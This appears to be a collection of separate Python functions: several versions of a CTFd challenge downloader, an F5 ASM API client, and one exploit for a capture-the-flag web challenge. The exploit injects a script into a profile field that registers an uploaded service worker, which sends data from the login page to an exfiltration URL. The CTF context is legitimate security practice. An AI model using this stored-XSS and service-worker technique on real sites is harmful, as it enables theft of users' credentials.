def __iter_challenges(self): version = self.version if version < 0: raise NotLoggedInException() if version >= 2: res_json = self.session.get(urljoin(self.url, "/api/v1/challenges")).json() challenges = res_json['data'] for challenge in challenges: challenge_json = self.session.get( urljoin(self.url, f"/api/v1/challenges/{challenge['id']}")).json() yield challenge_json['data'] return res_json = self.session.get(urljoin(self.url, "/chals")).json() challenges = res_json['game'] for challenge in challenges: if version >= 1: yield self.session.get( urljoin(self.url, f"/chals/{challenge['id']}")).json() continue yield challenge
def run(url, username, password): hostname = urlparse(url).hostname res = session.get(urljoin(url, "/login"), params={'next': 'challenges'}) nonce = re.search('<input type="hidden" name="nonce" value="(.*?)">', res.content) # Login session.post(urljoin(url, "/login"), params={'next': 'challenges'}, data={ 'name': username, 'password': password, 'nonce': nonce.group(1) }) # Get Challenges res = session.get(urljoin(url, "/chals")) # Create hostname directory if not exist if not path.exists(hostname): os.mkdir(hostname) res_json = res.json() for challenge in res_json['game']: category_path = path.join(hostname, challenge['category']) if not path.exists(category_path): os.mkdir(category_path) challenge_path = path.join( category_path, re.sub('[^\w\-_. ]', '_', challenge['name'].strip())) if not path.exists(challenge_path): os.mkdir(challenge_path) with codecs.open(path.join(challenge_path, "ReadMe.md"), "wb", encoding='utf-8') as f: f.write(u"Name: %s\n" % challenge['name']) f.write(u"Value: %d\n" % challenge['value']) f.write(u"Description: %s\n" % challenge['description']) logger.info("Creating Challenge [%s] %s" % (challenge['category'] or "No Category", challenge['name'])) file_names = re.findall("https?://\w+(?:\.\w+)+(?:/[\w._-]+)+", challenge['description'], re.DOTALL) for file_name in file_names: fn = path.basename(file_name) download_file(file_name, path.join(challenge_path, fn)) for file_name in challenge['files']: fn = path.basename(file_name) download_file(urljoin(url, "/files/%s" % file_name), path.join(challenge_path, fn)) session.get(urljoin(url, "/logout"))
def exploit(leak_url, csrf_url="http://realgame.co.il/bugler.html", app_url="https://bugler.ctf.bsidestlv.com/", username="******", password="******"): # Register / Login if not register(username=username, password=password): if not login(username=username, password=password): raise Exception("Bad username or password!") # Update Profile profile_url = urljoin(app_url, "/profile") res = session.post( url=profile_url, data={ "first_name": "first_name", "last_name": "last_name", "website": csrf_url, "city": "City", "address": ( "<script>navigator.serviceWorker.register(" " document.querySelector('.profile').src, {scope: '/login'}" ").then(function() {" " window.location.replace('/logout');" "});</script>" ), }, files={ "avatar": ( "service_worker.js", Template(open('service_worker.js').read()).safe_substitute(exfil_url=leak_url), 'text/javascript' ) }, proxies={"https": "http://127.0.0.1:8888"} ) re_res = re.search(r'<a href="/profile/(?P<uid>[^"]*?)">', res.text) if not re_res: raise Exception("Profile update failed!") # Report Phishing on yourself uid = re_res.group("uid") res = session.get( url=urljoin(app_url, "/report/%s" % uid), ) if not res.ok: res.raise_for_status() res_json = res.json() if res_json["reported"]: return print("Exploit succeed!") print("Exploit Failed (Maybe bad URL)")
def __get_nonce(self): res = self.session.get(urljoin(self.url, "/login")) html = BeautifulSoup(res.text, 'html.parser') return html.find("input", { 'type': 'hidden', 'name': 'nonce' }).get("value")
def login(url, nonce, username, password): session.post(urljoin(url, "/login"), params={'next': 'challenges'}, data={ 'name': username, 'password': password, 'nonce': nonce })
def login(app_url="https://bugler.ctf.bsidestlv.com/", username="******", password="******"): login_url = urljoin(app_url, "/login") res = session.post( url=login_url, data={ "username": username, "password": password, } ) return res.url != login_url
def register(app_url="https://bugler.ctf.bsidestlv.com/", username="******", password="******"): register_url = urljoin(app_url, "/register") res = session.post( url=register_url, data={ "username": username, "password": password, "email": f"{username}@gmail.com" } ) return res.url != register_url
def version(self): # CTFd >= v2 res = self.session.get(urljoin(self.url, "/api/v1/challenges")) if res.status_code == 403: # Unknown (Not logged In) return -1 if res.status_code != 404: return 2 # CTFd >= v1.2 res = self.session.get(urljoin(self.url, "/chals")) if res.status_code == 403: # Unknown (Not logged In) return -1 if 'description' not in res.json()['game'][0]: return 1 # CTFd <= v1.1 return 0
def run(url, username, password): hostname = urlparse(url).hostname # Login login(url, get_nonce(url), username, password) # Create hostname directory if not exist if not path.exists(hostname): os.mkdir(hostname) # Get Challenges for challenge in iter_challenges(url): category_path = path.join( hostname, re.sub("[^\w\-_ ]", "", challenge["category"].strip()) ) if not path.exists(category_path): os.mkdir(category_path) # challenge_path = path.join(category_path, re.sub('[^\w\-_ ]', '', challenge['name'].strip())) challenge_path = path.join(category_path, challenge["name"].strip()) print(challenge_path) if not path.exists(challenge_path): os.mkdir(challenge_path) with codecs.open( path.join(challenge_path, "ReadMe.md"), "wb", encoding="utf-8" ) as f: f.write(u"Name: %s\n" % challenge["name"]) f.write(u"Value: %d\n" % challenge["value"]) f.write(u"Description: %s\n" % challenge["description"]) logger.info( "Creating Challenge [%s] %s" % (challenge["category"] or "No Category", challenge["name"]) ) file_names = re.findall( "https?://\w+(?:\.\w+)+(?:/[\w._-]+)+", challenge["description"], re.DOTALL, ) for file_name in file_names: fn = path.basename(file_name) download_file(file_name, path.join(challenge_path, fn)) for file_name in challenge["files"]: fn = path.basename(file_name) download_file( urljoin(url, "/files/%s" % file_name), path.join(challenge_path, fn) ) # Logout logout(url)
def iter_challenges(url): # CTFD 2.0 res = session.get(urljoin(url, "/api/v1/challenges")) if res.ok: res_json = res.json() challenges = res_json['data'] for challenge in challenges: challenge_json = session.get( urljoin(url, "/api/v1/challenges/%d" % challenge['id'])).json() yield challenge_json['data'] return res_json = session.get(urljoin(url, "/chals")).json() challenges = res_json['game'] for challenge in challenges: if 'description' in challenges: yield challenge continue yield session.get(urljoin(url, "/chals/%d" % challenge['id'])).json()
def login(self, username, password): next_url = '/challenges' res = self.session.post(url=urljoin(self.url, "/login"), params={'next': next_url}, data={ 'name': username, 'password': password, 'nonce': self.__get_nonce() }) if res.ok and urlparse(res.url).path == next_url: return True return False
def iter_challenges(url): # CTFD 2.0 res = session.get(urljoin(url, "/api/v1/challenges")) if res.ok: res_json = res.json() challenges = res_json["data"] for challenge in challenges: challenge_json = session.get( urljoin(url, "/api/v1/challenges/%d" % challenge["id"]) ).json() yield challenge_json["data"] return res_json = session.get(urljoin(url, "/chals")).json() challenges = res_json["game"] for challenge in challenges: if "description" in challenges: yield challenge continue yield session.get(urljoin(url, "/chals/%d" % challenge["id"])).json()
def run(url, username, password): hostname = urlparse(url).hostname # Login login(url, get_nonce(url), username, password) # Create hostname directory if not exist if not path.exists(hostname): os.mkdir(hostname) # Get Challenges for challenge in iter_challenges(url): category_path = path.join(hostname, slugify(challenge['category'])) if not path.exists(category_path): os.mkdir(category_path) challenge_path = path.join(category_path, slugify(challenge['name'])) if not path.exists(challenge_path): os.mkdir(challenge_path) with codecs.open(path.join(challenge_path, "README.md"), "wb", encoding='utf-8') as f: logger.info("Creating Challenge [%s] %s" % (challenge['category'] or "No Category", challenge['name'])) f.write("# %s\n\n" % challenge['name']) f.write("## %s - Points: %d\n\n" % (challenge['category'], challenge['value'])) for line in challenge['description'].splitlines(): f.write("> %s\n>\n" % line) for file_name in challenge['files']: fn = path.basename(urlparse(file_name).path) # FIXME url sometimes with prefix /files/ download_file(urljoin(url, file_name), path.join(challenge_path, fn)) f.write("> [%s](%s)\n>\n" % (fn, fn)) file_names = re.findall("https?://\w+(?:\.\w+)+(?:/[\w._-]+)+", challenge['description'], re.DOTALL) for file_name in file_names: fn = path.basename(file_name) download_file(file_name, path.join(challenge_path, fn)) f.write("> [%s](%s)\n>\n" % (fn, fn)) # Logout logout(url)
def request(self, method, uri='', data=None, filter=None, select=None, top=None, skip=None): if isinstance(select, (list, tuple, set)): select = ",".join(select) return self.session.request(method, urljoin(self.url, uri), json=data, params={ '$filter': filter, '$select': select, '$top': top, '$skip': skip }).json()
def events(self, request=None, max_retries=10, delay=1, filter=None, select=None, top=None, skip=None): request_url = 'events/requests/' if request: request_url = urljoin(request_url, str(request)) for i in xrange(max_retries): res = self.get(request_url, filter=filter, select=select, top=top, skip=skip) if res.get('code') != 404: return res sleep(delay) return None
def __init__(self, asm, id): super(ASMPolicy, self).__init__(asm.host, asm.username, asm.password) self.ASM = asm self.id = id self.url = urljoin(self.url, 'policies/%s/' % self.id)
def __get_nonce(self): res = self.session.get(urljoin(self.url, "/login")) return re.search('<input type="hidden" name="nonce" value="(.*?)">', res.text).group(1)
def __init__(self, host, username, password): super(ASM, self).__init__(host, username, password) self.url = urljoin(self.url, 'tm/asm/')
def logout(url): # Get Challenges session.get(urljoin(url, "/logout"))
def login(url, nonce, username, password): session.post( urljoin(url, "/login"), params={"next": "challenges"}, data={"name": username, "password": password, "nonce": nonce}, )
def get_nonce(url): res = session.get(urljoin(url, "/login"), params={'next': 'challenges'}) return re.search('<input type="hidden" name="nonce" value="(.*?)">', res.content).group(1)
def logout(self): self.session.get(urljoin(self.url, "/logout"))
def __get_file_url(self, file_name): if not file_name.startswith('/files/'): file_name = f"/files/{file_name}" return urljoin(self.url, file_name)